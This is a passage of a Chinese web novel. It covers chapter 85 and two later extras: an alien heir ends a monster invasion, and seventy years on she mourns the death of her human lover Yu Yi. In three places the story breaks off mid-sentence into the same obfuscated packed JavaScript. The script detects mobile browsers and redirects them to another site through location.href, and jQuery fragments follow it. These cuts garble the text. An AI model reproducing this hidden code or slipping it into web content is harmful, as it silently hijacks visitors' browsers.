“后、后代?情人……?”郁仪恍惚地重复,表情愈发空白——塞拉斯的话对他来说太难懂、也太不可思议,他的脑回路几乎在高温中停止了运转。 “这不是重点——你的注意力为什么总是聚焦在奇怪的地方!”塞拉斯忍无可忍地提高声音。 与这家伙交谈令他身心俱疲。意识到自己的失态,他勉强压下了心中怒火,接着说:“在我看来,你的爱对殿下来说毫无意义。和人类相比,我们的寿命极为悠长,生存千年、甚至万年之后才会迎来生命的尽头,就算你耗尽自己所有的时间,也无法在殿下漫长的生命中留下一丝涟漪。” 塞拉斯平静下来,湖绿双眸中没有一丝感情,他直起身子,难得将视线端正地放在了郁仪身上,“你的寿命太短,注定赢不过我。” 郁仪迟钝地理解了他话中的意思。他张了张口,面上的红晕迅速消退,只余下一片苍白。 塞拉斯自觉得到了胜利,于是高傲地收回目光,没有继续出言挤兑——事实上,在郁仪被允许登上星舰之前,塞拉斯从没有将这个人类放在眼里……一只短寿的小宠物而已,根本没有与他这个距离殿下最近的首席骑士长竞争的资格。 等候室内重新陷入静默。 不知又过去了多久,门口终于传来“滴”一声身份验证的声音,淡青舱门水平滑开,黎望舒没什么表情地站在门口。 塞拉斯坐在离门最近的椅子上,立刻起身微笑着迎了上去,“殿下,一切顺利吗?” “嗯,陛下同意了我的请求。”黎望舒简短地说,“先离开星舰,我还有事要做,详细情况之后再说。” 她用食指在半空中划过,随着她的动作,指尖划过的地方凭空撕开了一道漆黑的裂缝,裂缝中黑暗涌动,散发着幽幽的冷气。 塞拉斯会意,先行踏入了裂缝之中,黎望舒扫了眼坐在长桌尽头的郁仪,示意对方也进入其中。 “怎么了?你看起来不太对劲。”在郁仪踏入裂缝的前一秒,她注意到了对方的异常,“发生了什么?” 郁仪脚步停滞一瞬,沉默地摇了摇头,甚至没有与她对视就消失在了裂缝之中。 看样子,塞拉斯对他说了些不好听的话,黎望舒无奈地想。 那家伙自尊很高,就算感到不悦,也很少将负面情绪直接表露在脸上。不知道最近受了什么刺激,他对郁仪的态度格外刻薄……也许是认为自己的地位有可能被郁仪动摇吧。 无暇思考太多,在郁仪消失之后,她也踏出一步,进入了黑暗的裂缝中。 身体被冰冷的暗物质层层包裹,脚底传来一瞬的悬空感,她眼前先是一黑,又很快地变得明亮。她重新见到了高悬夜空的一轮明月与看不到尽头的黄沙,脚下踩到了柔软的沙地,灼热干燥的空气掠过皮肤——穿过裂缝后,他们回到了星舰底部。 裂缝在她身后合拢消失,塞拉斯贴心地守在裂缝边上,在她踏上地面时轻轻扶了她一把。站稳后,黎望舒双瞳中立刻转起蓝光,透明无形的精神力带着她的意志如水波般荡漾开来,飞快地向四周扩散。 此刻地面上的低级种怪物们还在凶残地猎杀人类,为了增加己方的筹码,她对女皇说谎了。当时她刚找回记忆,精神力尚不稳定,星舰表面又有女皇的精神力层层包裹,短时间内,她无法在不惊动女皇的情况下用精神力包裹整颗星球、控制所有低级种的行动。 而现在,她要将这个谎言变为现实——早一刻让怪物停止活动,就能早一刻终结人类的痛苦。 精神力所过之处,低级种们的行动停滞下来。它们失去了攻击的欲望,不再追寻鲜血的味道,漫无目的地在大地上游荡。 ………… 江城基地外,连霏加入的猎人小队遇到了前所未有的强大怪物。 它的身躯庞大得像座小山不说,行动也极为敏捷,小队被它追杀,来时的路线又被怪物截断,只好狼狈地一边躲避,一边绕了一大圈远路向基地的方向赶。 小队中有几个成员受了轻伤,怪物闻到鲜血的味道愈发兴奋,它一路沿着气味追踪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127869|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一行人一直拖到了深夜也没能甩脱它,所有人的体力与理智都濒临极限。 “怪物快要追上来了,接下来转向右边的街道,一直沿着街道跑,不要停!” 连霏靠着鸟儿传递来的情报,嗓音嘶哑地为众人指明安全路线。即便她体力强悍,但经过长久的奔逃,也有些上气不接下气,更别说队伍里那些没有经过体力强化的普通人了。 “靠啊……我实在跑不动了……”大汗淋漓的队员喘着气停下脚步,紧握武器转身面向庞大又狰狞的怪物,双目通红,大吼一声:“陈队长,你们先走,我跟它拼了!” “那怎么行?”陈队长猛地也止住了脚步,回头厉声道:“你觉得我会抛下你?要走一起走,要留一起留!” 说着,她将被汗水浸湿的黑斗篷甩在路边,几步跳回到队员身边,七八根蓝黑触手从尾椎处延伸出来,尖端遥遥地对准正向这边追来的怪物,“连霏,你带着剩余的人回基地报信,千万不能让这怪物闯进基地里!” “不行,我也要留下!” 连霏知道陈队长想让尽可能多的人活下来,但她又怎么能抛弃队友苟且偷生……率先选择留下的队员已经累得没有战斗能力了,陈队长独自留在这里和送死没有区别,但如果加上她在旁边支援,或许还能有一线生机。 怪物速度极快,转眼间硕大身躯就遮天蔽日地压到了面前。陈队长来不及与连霏多言,迅速调整状态,和她一起配合着与怪物周旋。 事实证明,仅凭两人无法应对如此强大的怪物。连霏与陈队长都经历过体能强化,实力在基地中已经算得上顶尖,但依然无法破开这只怪物的表皮。 刀刃又一次被怪物钢铁似的表皮弹开,刃面甚至已经卷起,连霏被反弹回来的力道震得虎口发麻。那名普通队员被怪物一击拍晕,昏倒在墙边不省人事,她瞥了眼陈队长那边的情况,对方的脸色同样难看至极。 连霏清楚地明白,这样下去她们都会死。 如果望舒在这里,这样的怪物一定会被轻松解决……连霏忍不住想起了身在远方的黎望舒。 “小心!”陈队长注意到了她在走神,疾声高喝。 连霏回过神来,立刻压低身体,险之又险地避过了朝她的头颅挥过来的触手,触手挥空,击碎了一边的混凝土墙壁,墙体碎块哗啦啦地倾倒下来,里头的钢筋弯折地暴露在空气中。 连霏被激起的烟尘呛得咳嗽不停,心有余悸地对陈队长喊:“这样下去不行,我们争取的时间足够多了,离开吧!” “但……”陈队长犹豫着看了眼昏迷在墙边的普通队员。 连霏心中焦急,忍不住提高声音:“这样下去你也会死的!” “……你走吧,我不能抛下他。”陈队长摇了摇头,眼中含泪,握紧刀刃又扑了上去,“就算是死,我也要和他死在一起!” 连霏无奈,只好也跟着扑上去,为她打掩护。 其他的队员都已经跑得不见踪影了,二人留在狼藉街道上与怪物缠斗,几乎忘却了时间还在流逝。 不知过去了多久,连霏累得精神恍惚,余光瞟到陈队长身体摇晃,双目紧闭,即将栽进怪物口中。她下意识想跑过去捞人,同时大喊:“陈队长,醒醒——!!” 陈队长没有反应,腰际触手软软地贴在大腿边上,她径直倒下,半个身子直接倒在了怪物血淋淋的两排尖牙之间。 完了…… 连霏面色煞白,满心绝望之际,却看见那头怪物并没有合拢牙齿,反而用嘴唇一顶,将陈队长吐了出来。 85. 正文完 来不及深思,连霏勉强提起酸软的手臂,飞快地将陈队长捞入怀中,看了眼对面墙边昏倒的普通队员,她没有犹豫,咬牙向后退去。 自己没有那么多余力……能救一个是一个! 但出乎她的意料,怪物并没有追上来。 它血口两侧的两颗大眼珠不再滴溜溜地乱转,迟钝地朝她退开的方向看了一眼,眼神看起来呆傻了不少,也没有去吃身后的普通队员,迷茫地在原地打转。 连霏观察了一会,确认怪物的确失去了攻击欲望,她愣了两秒,想起了黎望舒此行的目的。 “她成功了……?”连霏喃喃道。 她若有所觉地仰望天空,眯起眼睛努力分辨——漆黑夜空中,隐约笼罩着一层肉眼难以辨认的浅蓝光膜,她的精神力天赋不强,因此光膜在她眼中时隐时现,看起来非常不稳定。 “这就是精神力?”柔和的风携着暖意拂过脸颊,连霏忍不住红了眼眶,“望舒,是你吗?你做到了,你终结了这场灾难……” 怀里的陈队长发出痛苦的呓语,接着眼皮一动,缓缓睁开双眼。 “连霏?你哭什么。” 陈队长意识还有些恍惚。撑着身体从连霏怀里爬出来后,她才想起了昏迷之前发生的事,连忙回头寻找,但她起身太急,还没完全站稳又眼前一黑,软倒下来,还好被连霏托了一把,这才没有摔倒在地上。 “他呢?怪物呢?”陈队长视野模糊,生出了糟糕的预感,“难道说……” “不用担心,那个人还活着。怪物不再是威胁,已经没事了。”连霏轻声说,“一切都结束了,怪物们会从这个世界上消失,一切都会回归正轨。” “你、你在说什么?”她话中的信息量太大,陈队长一时没有反应过来,“你受什么刺激了?” “你看那边。”连霏引导着陈队长转身。 陈队长眨了眨眼,她的视力逐渐恢复,不远处正原地打转的巨型怪物出现在她的视野中。怪物身边,普通队员依然昏睡着,除了身上多了些尘土外,几乎毫发无伤——这只怪物居然一反常态地不再攻击人类了。 想起了连霏听起来无厘头的两句话,她难以置信地揉了揉眼睛,“这到底是……” 保险起见,二人稍作休息恢复了一点体力后,立刻拖着昏迷的普通队员远离了巨型怪物,她们行动时动作尽量放轻,生怕惊醒了这只意识混沌的怪物。如连霏所料,怪物再也没有表现出攻击意图,只是睁着一对呆愣愣的大圆眼球盯着她们看个不停。 二人带着伤员一路往回跑,路上遇见的其他小怪物也都老老实实,仿佛一夜间转了性子似的,变得和路边的小猫小狗没什么区别,毫无攻击力。 陈队长终于开始相信连霏的话,灾难真的要终结了——她忍不住激动起来。 她们将这个消息带回了江城基地,消息飞快地传遍了整个基地。 急于确认消息真实性的人们一个接一个地从睡梦中惊醒,又从被窝中爬起来走出家门,每条道路都被兴奋的人群拥堵得水泄不通,整个基地如同一锅越烧越热的滚水,在深夜中咕嘟咕嘟地沸腾起来了。 起初,大多数人对这个消息持怀疑态度,但归来的两个女人态度坚定,又让他们在心底悄悄燃起了一点希望。人们在怀疑中对视、交谈、争论,激烈的声浪几乎要将天幕掀翻,可争了半天也没争出一个令人信服的结果。 终于,有战士按捺不住,连衣服都没穿好就提着武器跑去基地外验证真伪,留下的人们屏住呼吸,怀着期待翘首以盼……战士很快回来了,他面色激动,跑得飞快,难以压抑心中的喜悦,还没踏入基地大门就高喊出声:“她们说的是真的!所有怪物都不再攻击我们了,末日真的结束了!” 随着战士的声音落下,空气出现了一瞬的寂静。 幸福来得太过突然,所有人都沉浸在难以置信的情绪中无法自拔,直到战士手中的长刀“当啷”一声落地,人们才如梦初醒地做出了反应。 基地入口附近黑压压的人头涌动起来,人群中掀起了一道又一道欢呼,其中偶尔夹杂几声悲切的哭喊。 “结束了,都结束了!一切都会回归正轨!”满身尘土的工人眼中燃起希望。 “再也不用战斗、不用受伤、不用过朝不保夕的生活了!”身缠绷带的猎人畅快地舒了口气。 “可我的儿子已经死了……他永远也回不来了……”白发苍苍的老妇人缩在角落里捂嘴流泪。 各种各样的声音混乱地交织在一起,比赶集日的菜市场还要嘈杂,巨大的声响几乎要震裂胸腔、震破耳膜,但谁也没有生出怨言,所有人都全心全意地投入了狂欢之中,庆祝即将到来的和平岁月。 仍有人质疑消息的真实性,他们认为这是怪物们令人类放松警惕的手段,怀疑总有一天怪物们会再次扑上来,将人类一网打尽……但他们微小的声音被淹没在狂欢声浪中,没有激起任何涟漪。 黎望舒将人们的喜怒哀乐尽收眼底。 抽去了怪物们的攻击欲望后,她并没有急于收回精神力。以散出的精神力为媒介,她能够在高空中感知地表发生的一切,这种感受非常奇妙,有一瞬间她甚至觉得自己能够比肩神明,又很快地从这种幻想里抽身出来。 人类的灵魂在她的感知中化作一个个白色光点,脆弱地摇曳着,散发着淡淡的光晕。只要她伸出精神触丝,在某个光点上轻轻一卷,光点就会立刻碎裂,灵魂也随之消散。 她的意识在半空中漫无目的地飘荡,看着下方密密匝匝的光点,忍不住感慨。 人类太脆弱了,他们拥有极高的智慧,生活在丰沃的土地上,身体与精神却孱弱无比,科技也还在发展中,如果被外界文明盯上,以他们现在的实力只能被动迎来灭顶之灾。 在来自潮星的灾难中,人类失去了太多太多,黎望舒认为自己应当对此负责。已经犯下的罪孽无法消除,身体与心灵上的伤痛短时间内无法愈合,人类需要漫长的时间休养生息,她还肩负着潮星的责任,眼下唯一能做的就是用自己的力量帮助人类复兴家园,在人类尚未发展出足以自保的实力之前,她会保护这颗星球不受其他势力的侵扰。 ………… 主星舰两公里外的临时营地里,杜蕊几人仍在焦灼地等待结果。 “看!那是小黎姐姐的精神力。”黎望舒出发后不久,戚依依惊喜地蹦了起来,指向星舰的方向,“她顺利解开记忆封印了!” 闻风藻也清晰地感受到了远处一闪而逝的力量,面色稍缓。 但自那之后又过去了几个小时,天边已经泛起了鱼肚白,黎望舒却始终没有回来。几人面面相觑,都从彼此的眼中看到了不安。 计划还顺利吗?恢复记忆的她还会站在人类这边吗?这颗星球未来究竟会变成什么样……相同的疑问在每个人心中打转,但谁也没有将它们说出来。 火堆噼啪作响,疑虑在沉默中悄悄发酵。 杜蕊抱膝望着摇曳火光发呆。 她相信黎望舒绝不会抛下大家,但也明白女皇是个强劲的对手,她忍不住担心好友的安危。 突然,她听到对面的戚依依吸了口气,“小黎姐姐!” 她惊喜地抬起头,顺着戚依依的目光转头望去——身后,黎望舒从一道黑洞般的漆黑裂隙中踏出,接着出现的是塞拉斯与郁仪。她神态自若,看起来并没有受伤。 “你终于回来了!”杜蕊松了口气,连忙起身,“怎么样,还顺利吗?” 黎望舒点点头,“算是和平解决。接下来我会将高级种全部送上星舰,让他们回到母星,他们离开后,这里就没有生物能威胁到人类的地位了。” “只有高级种吗?”闻风藻忍不住问,“余下的低级种要怎么办?很多人仍然对它们心怀恐惧。” “这个么……”黎望舒的神情突然变得有些古怪,她轻咳一声,一本正经地说:“星舰空间有限,女皇并不打算将它们带走。我已经抽去了它们的攻击欲望,现在它们温顺得就像小绵羊。低级种繁殖欲高涨,生长速度也快,地表上缺乏食物,收获播种也需要时间……也许人类可以尝试着向它们投喂食物,将它们送进养殖场。” “养殖?你是说,将它们当成……咳,家、家畜?”闻风藻难以置信地说,“它们不是你的同类吗?” “严格意义上来说,高级种和低级种已经算是不同的物种了。”戚依依对王储的决策并不感到惊讶,“之前也说过,我们不介意同类相食,在我们的老家,直接将低级种当成食物的家伙一抓一大把,你们放心养,不会有人为了这种事报复的。” 说着,她忍不住吐槽:“低级种繁殖得太快,已经在母星泛滥了,大海里全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133162|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是它们的踪迹,女皇陛下甚至为此订立了特定时期鼓励捕杀低级种的规定,要养殖的话可千万注意,别让它们霸占了你们的海洋。” “……我明白了。”闻风藻满头黑线,“现在到处都缺粮食,多一个食物来源也是好事。” “稍后我会将这件事告知各地的基地。”黎望舒简单交代了自己的计划。 接着,她看向一直沉默不语的郁仪,“另外,还有一件事……我们单独谈谈。” 郁仪也抬头望着她,隐约对她接下来要说的话有了预感。 “为了弥补族群的损失,我必须回到母星,接手王储的本职工作。” 她带着郁仪避开众人,看着他的眼睛说,“不必担心,我的能力是远距离跃迁,可以轻松地往返两地,我会经常回来看你的。” 她说这些本来是为了让郁仪多一些安全感,但让她没想到的是,郁仪却避开了她的视线,仿佛正在下什么艰难的决断。沉默片刻后,他盯着地面问:“如果我死了,你会伤心吗?” 黎望舒一时不明白他想说什么,莫名其妙地回答:“当然会。” “与你相比,我的寿命很短。”郁仪说得艰难,“也许这只是我自大的想法,但如果……如果我与你相处的时光会让未来的你感到痛苦,那么……” “你想与我分开?”黎望舒打断了他。 他原先的确有过这种打算——郁仪沉默地揪紧了剑柄上的绑带,张了张口,却怎么也说不出“是”。 他喉结动了动,“我听说潮星贵族禁止与外族通婚……与我在一起,你会丢掉权力与地位。” “塞拉斯是这样说的?”黎望舒好笑地问,“他说什么你都信?” “……什么?”郁仪愕然抬头,“那是谎话吗?” “那是事实,但他隐瞒了关键的部分。”黎望舒说,“我们没有人类那样明确的婚姻概念,‘通婚’两个字用在这里不够严谨。准确来说,我们只被禁止与其他种族结合并产下后代。” “这、这有什么不一样吗?”郁仪脸庞又开始发烫。 黎望舒想了想,用更清晰的方式向他解释:“高级种与母星的其他种族结合时能够产生后代,是因为我们有着共同的先祖——海怪。但我与你……虽然看起来相似,但多半存在生殖隔离,无法产生后代。既然不会污染纯净的血脉,就不会有任何人质疑我们的关系。” “……是这样吗?”郁仪似懂非懂,总觉得有哪里不对劲。 “说到底,你适应不了潮星的环境,注定无法在那里久居。其他同族怎么想我不在乎,和你就更没关系了。”黎望舒有些无奈,“不是你选择了我,而是我选择了你,我不想与你分开。因此我不介意的问题,你也无需在意。” “我明白了。”郁仪低下头,“我不会再提起这个话题了。但如果真的到了那一天……我死后,请你忘掉我吧。” “为什么?”黎望舒挑眉问他:“我以为以你的性格,应该会哭着喊着求我不要忘了你。” “我的确这样想过。”郁仪轻声回答,“但我更不希望你因为我而感到痛苦。如果事情变成了那样,我就算死也不会安心的。” “这个话题到此为止。”黎望舒忍无可忍地按住他的脑袋,“你还年轻,不该这么早做计划。” 郁仪听话地闭上了嘴,任由她的手在头顶上作乱,将他束得规整的头发揉成了一团糟。他悄悄翘起唇角,心底那些苦涩与纠结仿佛都消失不见了,整个人变得轻飘飘的。 死亡本是沉重的话题,但一想到在自己迎来生命终点之前,能够一直陪伴在她身边,他就止不住地觉得满足,仿佛连死亡都变得不再可怕了。 他一边悄悄高兴,一边又为自己的私心感到羞愧。他的世界无趣又单调,直到黎望舒出现,他才找到了活下去的意义。 她的确没说错,他很自私,不希望自己消失在她的记忆中,如果可以,他想让她牢牢记住自己,永远也不要忘记。他想让与自己有关的一切记忆牢牢攀附在她的大脑中,深刻地、难以忘怀地,让她无法爱上除自己以外的任何人,直到一切走向终结……但这一切,他都说不出口。 “我好喜欢你,我不能没有你。”郁仪情不自禁地牵起她的手,在她的手背上虔诚地落下一吻,“永远……永远不要抛下我。” -正文完- 86. 番外一 未来 光阴荏苒,岁月如梭,距离那场差点毁灭人类的浩劫结束已经过去了七十年。 怪物的威胁消失后,幸存者们不再龟缩于小小的基地中,而是回归城市与乡村,清除灾难留下的痕迹,重新建设家园。在所有人的努力之下,时至今日,大多数城市已经恢复生机,回归了灾难前的井然有序,但因为人口不足,仍有一小部分偏远地区没有经过修缮,仍然保持着被灾难摧残后惨烈的模样,也有不少年轻人特意驱车前去参观那些历史的痕迹。 浩劫的亲历者大多已经不在人世,但或是通过观看记录节目,或是从长辈的口中听闻,大多数年轻人都对那场灾难有所了解——奇形怪状的怪物毫无预兆地降临在大地上,肆意猎杀人类,还有些外表近似人类的个体能够使用强大的精神能力,对上它们的人几乎无法逃生,幸存者寥寥无几…… 灾难持续了两个多月。某一天,怪物们忽然不再攻击人类,变得如羊羔般温顺,能够使用奇妙能力的半人怪物也尽数从地表上消失,灾难毫无征兆地结束了,一如它降临时的毫无预兆。 很快,人们就发现怪物带来的不止危机,还有新的机遇。 一些胆大的人将变得温顺的怪物送进了养殖场,它们繁殖欲旺盛,生长速度也快得不符合常理,只需食用很少的腐肉,就能生产出大量可供人类食用的肉类。经过人们持续不断的研究,怪物养殖逐渐发展出了一条完整的产业链—— 怪物肉经过加工去除腥味与粘液,作为一种极为廉价的食物被端上人们的餐桌,它们的皮肤坚韧又富有弹性,经过加工处理后被制成新型材料,广泛应用于各种领域,科研人员还从它们的血液中提取出了活性因子,依托这种因子制出了能够加速伤口愈合的新型针剂。 久而久之,人们不再称它们为怪物,为它们取了新名字——“潮兽”。 怪物只在地表肆虐了不到三个月,却让这颗星球上的人类总数几乎打了个对折,提起那场灾难时,几乎所有幸存者都会表现出恐惧与庆幸的情绪。没有人说得清这场浩劫究竟是因为什么开始,又是因为什么结束的。 未知带来恐惧,在很长一段时间内,仍有一部分人依旧对怪物们心怀警惕,害怕它们卷土重来,因此拒绝使用一切潮兽制品,但这种恐惧也随着岁月流逝不断消磨,到了七十年后的今天,还持有这种观点的人已经少之又少了。 ………… 深山中,阳光穿过密密匝匝的枝叶,在光滑的石质墓碑上投下一片斑驳碎影。 草屋背后,黎望舒半跪在地上,眉眼低垂。她伸手拂去飘落在墓碑顶端的枯叶,指尖珍重地在墓碑表面抚过,冰冷的触感令她的心脏一阵钝痛。 ……这是郁仪的墓碑。 七十年前,拿回了自己的记忆与力量后,她将伙伴们送回江城基地,安顿好一切、看着主星舰启航后,她撕开空间裂缝,和女皇一起回到潮星,接手了本属于她的工作。 潮星是被海洋包裹的星球,表面一片蔚蓝,几乎没有陆地,潮星人与各种海洋生物共同生活在水面之下,种群之间偶有争执,但总体来说还算和谐。 一回到潮星,黎望舒就马不停蹄地开始搜寻新的宜居星球。 高级种们寿命悠长,繁殖能力与人类相差无几,偏偏又拥有极强的领地意识。尽管女皇及时颁布了限制生育的法令,种群在近些年仍然在不断扩大,潮星的海底区域已经被开发得七七八八,但每个人能分到的生存空间仍然越变越小,甚至已经有人打算将房屋搭建到水平面之上了……海中的各种资源也在快速消耗,这样下去潮星的资源总有一天会被啃食殆尽。 他们不得不将目光转向天外,企图通过移居外星的方式来降低母星承受的压力。实际上,这个方法的确非常有效,在王族强者们的努力下,潮星人已经开辟出了数个殖民星球,成功向那些星球迁移了一部分子民,尽管依旧存在星球之间往来不便的问题,但总算解决了迫在眉睫的危机。 人类居住的蓝星上存在大规模的海洋,大气成分也与潮星相似,因此在被探测到之后不久便被潮星人定为目标。花费了巨量的人力物力却没能成功啃下这一块骨头。为了减少来自各方面的责难,黎望舒必须尽快为族群物色新的目标。 作为王储,黎望舒身负责任,理所当然地参与了之前的几次行动。那些星球大多处于发展初期,有的星球上原住民不具有智慧,态度友善,他们能够直接与对方共存,有的星球上干脆还没产生生命,只是一个空壳…… 她年纪尚轻,没有与其他外星文明打过交道,因此在得知那颗蓝星上存在文明时,她立刻被勾起了好奇心与求知欲,于是在潜伏阶段封住了自己的记忆,想要切身去体会其他文明的文化,却没想到会迎来这样的结果。 ……来自人类的道德观已经在她心中留下了烙印,今后在寻找目标时,她会排除那些拥有完整文明的星球。 她在潮星日日忙碌到深夜,但也会遵守约定,时不时地抽空回到蓝星与那里的同伴们见面。 连霏与杜蕊都找到了与她们专业技能匹配的工作,投入了江城的重建活动中,作出了相当大的贡献;闻风藻的能力非常受欢迎,开了家疗养院为有睡眠障碍的人群提供优质睡眠服务,他自己空闲时间颇多,重新捡起了画笔,生活得佛系又滋润。 郁仪本想回到原先的草屋中接着过避世生活,但山下的小村庄已经覆灭,他无处交换物资,生活多有不便,于是就在江城郊区的村落附近搭了座新的草屋独自生活。他的新草屋位置偏远,从市区出发需要一个多小时的车程,里面不通水也不通电,生活条件相当原始,其他伙伴都吐槽他活得像个野人。 两个星球之间存在时间差,潮星在深夜时江城可能处于白天、也可能处于傍晚。工作结束后,黎望舒几乎日日都会动用能力来到郁仪的草屋中陪他,只有偶尔忙到昏天黑地时才会在潮星的家中昏睡。 即便如此,她也时常能感受到郁仪用幽怨的眼神盯着她看,似乎对她回家不久就呼呼大睡的行为颇为不满。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138325|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也尝试过将郁仪带去潮星,但依旧没什么区别——她的工作场地位于潮星的海底,两个星球的海水密度不尽相同,就算穿上了蓝星最专业的潜水设备,郁仪也无法长时间在潮星的海底停留,只能待在海面的小块礁石上等待她工作结束。 潮星所有的生物都生活在海洋中,因此尽管科技发达,也不存在供陆地生物在海中使用的代步工具。黎望舒甚至考虑过从蓝星弄一台潜水艇回去,但考虑过种种不现实因素后,这个想法也被否决了。 二人都对这种聚少离多的状况感到无奈,但到了最后也没有想出较好的解决方法,黎望舒只好尽量压缩工作时间,多挤出空闲时间与郁仪一同度过。 时间就这样一点一滴地流逝。 任何生物的肉.体机能都是存在极限的,无论是潮星还是蓝星,两边都还没有研发出延长寿命或是意识上传、机械飞升的手段。黎望舒眼睁睁地看着朋友们一个个变得衰老,渐渐难以自主行动、意识模糊,最后在火化炉中化成坛子里的碎骨,静静地被送入墓地之中。 每送走一个认识的人,她的心底就会难以抑制地泛起疼痛,这种疼痛并没有随着类似的事情增多而变得麻木,反而越来越强烈了。直到某一天握住郁仪布满皱纹的手,她才惊觉,在这个星球上与她熟识的人只剩下郁仪一个了,而这个人……也即将迎来终点。 郁仪一生都保持着良好的作息习惯,日程表精准得简直不像一个生活在现代的人,他对入口的食物要求极高,不喝凉水、不吃任何重油重盐的垃圾食品。朋友们都笑他年纪轻轻就过上了保温杯里泡枸杞的老干部生活,但黎望舒明白,他只是想尽量多活一段时间,也尽量多陪她一段时间。 他成功了,他熬过了所有人,一直活到了九十八岁,但终究没能跨过一百岁这个坎。 郁仪弥留的那几天意识有些模糊,但依然有分辨能力,拒绝一切陌生人接近他。黎望舒紧赶慢赶地应付完工作,又向女皇请了假,一整天都待在蓝星,陪在他的身边。 他吃不下什么东西了,消瘦得不成样子,手上根根青色血管暴突,瘦得几乎只剩下了一层皮。他大多数时候都在沉睡,就算醒过来思维也处在混沌之中,偶尔清醒过来时,会拉着黎望舒的手,用断断续续的声音一遍遍地求她忘了自己,如果她说不,他就会露出极为悲伤的表情……于是她只好顺着对方的意思,一遍遍地点头。 无论她有多么不情愿,最后的时刻总是会到来。直到现在,她还能清晰地回忆起那时的每一个细节—— 在昏迷了两天、全靠输液维持生命后,他久违地睁开双眼,一动不动地望着天花板,久久没有说话。黎望舒以为他还在糊涂,但等了一会儿之后,他不知哪来的力气,突然伸手攥住了黎望舒的手腕,手劲极大。 他死死地盯着她,目光炙热得近乎偏执,她预感到了什么,沉默地回望过去。他缓缓开口,虽然说得极缓慢,但难得地思维顺畅,口齿清晰。 他一字一顿地说:“你不能忘了我。” 87. 番外二 未来 黎望舒鼻子发酸。 她深知这有可能是他们二人之间最后的对话,于是强压泪意,紧紧反握住郁仪皮包骨头的手,笑着对他说:“我还以为你会嘴硬到最后。” 郁仪的手因用力微微颤.抖,他又口齿清晰地重复了一遍:“不要忘了我。” 黎望舒将他的手握得更紧了,“我本来就是这样打算的——就算你哭着求我,我也绝不会忘记你。” 安心了似的,郁仪骤然卸了力气。 泪水从他的眼角涌出,又沿着眼角蜿蜒而下,将枕巾沾湿。他又抓紧了黎望舒的手,艰难地对她说:“对不起,是我自私。我……我太害怕了,一想到你会忘了我,我就控制不住。” “我不会的,别哭啊。”黎望舒眼眶也变得湿润,她眨了眨眼,强忍着没让眼泪掉出来,“你让我也变得软弱了。” “你可以哭。”他双眼浑浊,空洞地望向天花板,“我会当作没看到的。” 黎望舒终于忍不住了,她低下头,眼泪砸在地上——她知道,郁仪现在多半已经没有视觉了,他的眼前只有一片黑暗。 她生出了一种巨大的不真实感,仿佛一瞬间的功夫,眼前这个人就从一个秀丽少年变成了垂暮的老人……人类的一生太过短暂,这太残酷了。 与往日相比,今天他的精神尤其好,捉着黎望舒絮絮叨叨地说了一大堆话。 他说自己很没用,明明说好了他会包办一切杂务,最后却还是要让她来照顾;他说自己这一生活得很满足,最后能有她在身边,已经没有什么遗憾了;他又略带骄傲地说自己养生很成功,活得特别长…… 他说得越来越急,以至于吸入的氧气已经无法支撑他说完一整个句子了,每说几个字,他都要呼哧呼哧地停下来喘气。 黎望舒沉默地听着,心中绞痛。 最后,他安静下来,失焦双眼茫然地在她面孔附近梭巡片刻,提出了最后一个愿望—— 他想回到师父留给他的深山草屋中。 黎望舒划开空间裂缝,用被子裹起他,将他带回了草屋中。 草屋许久无人居住,家具上积了一层厚厚的灰。黎望舒用精神力将郁仪与被子托在半空,简单打扫了一遍床板后,回身将郁仪抱到床上,却突然发现有什么地方不太对劲。 薄薄的被子之下,他的胸膛不再起伏……他悄无声息地断了气。 她直起身子,望着郁仪紧闭的双眼,想起了郁仪曾向她讲述过的上辈子。 上辈子的她死后也曾躺在这里,那时的郁仪望着她的尸体,想必和她现在的心情差不了多少吧。她感受到一种奇妙的缘分,忍不住弯起双眼,同时眼泪从颊边滑过。 她遵循郁仪的愿望,将他葬在师父身边,又将自己刻的石碑安在他的墓前。 他为师父刻的粗糙木碑这些年经历了雨打风吹、虫子蛀蚀,早已烂的不成样子,立在崭新又漂亮的石碑旁边显得格外可怜。黎望舒有些不忍,犹豫着想为他的师父换一块新的碑,但思来想去,最后还是放弃了。 ……早知道,就该让他在还做得动手工活的时候刻一块新的替换上去,但现在说什么都晚了。 爱情并不是她生活的全部,她没有在郁仪的墓前停留太久。 简单在墓前供了些东西后,她一刻不停地回到潮星。休假期间,政务间内积攒起了成山的工作,她一头扎了进去,每天都让自己废寝忘食地沉浸在公务中,累到极限再闭眼昏睡过去,再也没去过那间草屋。 这样的生活持续了一段时间,她心中的伤痛在高强度的工作中逐渐变得麻木。 